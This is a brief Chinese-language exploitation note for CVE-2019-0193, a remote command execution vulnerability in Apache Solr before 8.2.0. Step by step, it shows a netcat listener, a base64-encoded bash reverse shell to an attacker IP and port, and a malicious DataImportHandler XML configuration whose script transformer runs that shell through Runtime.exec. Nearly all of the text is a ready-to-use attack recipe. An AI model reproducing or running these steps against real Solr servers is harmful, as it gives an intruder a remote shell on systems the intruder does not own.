【笔记】CVE-2019-0193漏洞利用

前言

Java的Solr框架远程命令执行漏洞利用

漏洞利用前提

  • Apache Solr < 8.2.0
  • 能进入Solr管理页面

攻击者监听反弹Shell

1
nc -lvp <port>

将反弹Shell的命令进行Base64编码

1
echo -n "bash -i >& /dev/tcp/<ip>/<port> 0>&1" | base64

受害者反弹Shell

  • 访问http://localhost:8983/solr进入Solr管理页面

  • 选择一个核心->DataImport->勾选Debug->展开Configuration->选择Debug-Mode->修改xml配置->Execute with this Configuration

<base64>:上一步Base64编码后的反弹Shell命令

1
2
3
4
5
6
7
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,<base64>}|{base64,-d}|{bash,-i}");}]]></script>
<document>
<entity name="stackoverflow" url="https://stackoverflow.com/feeds/tag/solr" processor="XPathEntityProcessor" forEach="/feed" transformer="script:poc" />
</document>
</dataConfig>

完成